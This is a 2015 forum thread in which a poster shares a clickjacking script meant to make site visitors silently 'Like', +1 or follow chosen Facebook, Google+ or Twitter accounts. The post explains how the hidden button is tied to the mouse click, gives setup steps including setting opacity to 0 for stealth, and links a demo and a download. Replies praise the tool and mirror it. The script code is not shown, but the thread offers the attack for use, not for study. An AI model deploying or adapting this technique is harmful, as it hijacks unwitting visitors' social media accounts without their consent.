Who Said ClickJacking Is Dead ! NEW Method > ClickJack Facebook, Twitter and Google Plus > Working 2015 !

[bobdos007]

Hey guys, girls if any!

After hearing some news that clickjacking is patched by facebook and others, I made an extensive search and i found this code as a way to show how you might hide an embedded object into a website in order to execute a successful ClickJacking attack. This code will maliciously force the user, or the visitor, to Silently ‘Like’ or +1 a particular page on Facebook or Google+, or add twitter followers.

How the Code Works:

• User visits the page -> jQuery script is executed
• The script detects which social media sites the user is logged into (Facebook, Twitter, or Google+)
• If the script detects a login from any of those sites, it will iterate down the list and pick the first of the logged in sites (for this example, let’s use Facebook)
• Using HTML, CSS, and Javascript/jQuery, a hidden button will be loaded and tied to the user’s mouse click event
• When the mouse is clicked, the button will trigger and execute a particular function tied to Facebook, Twitter, or Google. In this case, the button is a ‘Like’, and the user has unknowingly liked a page on Facebook.
• The script then unloads, and drops a cookie indicating the the Facebook script has been run
• If the script has been placed in a website’s header, it will reload the next time the user visits a different page on the site. This time the script will detect the clickjack’s ‘Facebook complete’ cookie and automatically iterate to the next logged in service.
  

Live DEMOOO:

http://www.nightlionsecurity.com/scripts/cj/

Download Link:

http://www42.zippyshare.com/v/Kyb4l33B/file.html

Using the Code

• Each of the social network functions have specific opacity settings.These are currently set to VISIBLE (1). If you would like to go into stealth mode and hide the buttons, change all the ‘opacity’ settings to 0 (I will eventually make this a global option).
• You must specific your account in the parameters of each of the social networks. Replace all instances of “[YOURNAME]” with your account name.
• Execution of the Facebook code requires a Facebook APP ID. The app ID you are using must have the same domain name as the script. This code is located in index.html
• The login status messages can be safely removed form the HTML file without effecting the rest of the code.

Other Tutorials/Shares you may want to check:

[Tutorial] How To Get Free Domain From Godaddy With Hosting For Only $12/year

[GET] [FULL Ebook] Advanced Google Adwords V3

[darkenedskies2009]

Sounds pretty cool. Repped.

[agiey7]

is this safe to use? btw thanks for sharing.

[jani01]

just check your test page, seems to be working fine

[bobdos007]

(01-21-2015 04:26 AM)darkenedskies2009 Wrote:  Sounds pretty cool. Repped.

Thank you for the Repps

[bobdos007]

(01-21-2015 04:30 AM)agiey7 Wrote:  is this safe to use? btw thanks for sharing.

Ofcourse Man !

[kirstie]

Thanks for this :)

[ripina]

Thnks....nice CJ...

[midascodebreaker]

the zip file is damage , please reupload

[Didipopz]

Seems to be working fine at my end, thanks for the share. :), created a mirror for you,

MIRROR

Cheers!